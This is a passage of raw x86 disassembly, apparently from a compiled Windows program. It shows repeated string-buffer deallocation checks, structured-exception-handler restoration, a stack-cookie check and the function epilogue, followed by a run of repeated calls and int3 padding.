lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419ef3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1d1
push edx
push ecx
call fcn.00462702
add esp, 8
mov edx, dword [ebp - 0x200144]
cmp edx, 0x10
jb 0x419f37
mov ecx, dword [ebp - 0x200158]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x419f2d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1d6
push edx
push ecx
call fcn.00462702
add esp, 8
mov edx, dword [ebp - 0x2001b4]
mov dword [ebp - 0x200148], 0
mov dword [ebp - 0x200144], 0xf
mov byte [ebp - 0x200158], 0
cmp edx, 8
jb 0x419f92
mov ecx, dword [ebp - 0x2001c8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419f88
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1db
push edx
push ecx
call fcn.00462702
add esp, 8
mov edx, dword [ebp - 0x20015c]
cmp edx, 8
jb 0x419fd2
mov ecx, dword [ebp - 0x200170]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419fc8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1e0
push edx
push ecx
call fcn.00462702
add esp, 8
mov ebx, dword [ebp - 0x14]
mov edx, dword [ebx + 0x1c]
cmp edx, 8
jb 0x41a07a
mov ecx, dword [ebx + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41a070
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1e5
jmp 0x41a070
push edx
push ecx
call fcn.00462702
add esp, 8
mov edx, dword [ebx + 0x34]
xor eax, eax
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 7
mov word [ebx + 8], ax
cmp edx, 8
jb 0x41a0c8
mov ecx, dword [ebx + 0x20]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41a0be
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1ea
push edx
push ecx
call fcn.00462702
add esp, 8
mov edx, dword [ebx + 0x4c]
xor eax, eax
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x34], 7
mov word [ebx + 0x20], ax
cmp edx, 8
jb 0x41a116
mov ecx, dword [ebx + 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41a10c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1ef
push edx
push ecx
call fcn.00462702
add esp, 8
mov edx, dword [ebx + 0x64]
xor eax, eax
mov dword [ebx + 0x48], 0
mov dword [ebx + 0x4c], 7
mov word [ebx + 0x38], ax
cmp edx, 0x10
jb 0x41a15e
mov ecx, dword [ebx + 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41a154
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a1f4
push edx
push ecx
call fcn.00462702
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0046219f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
int3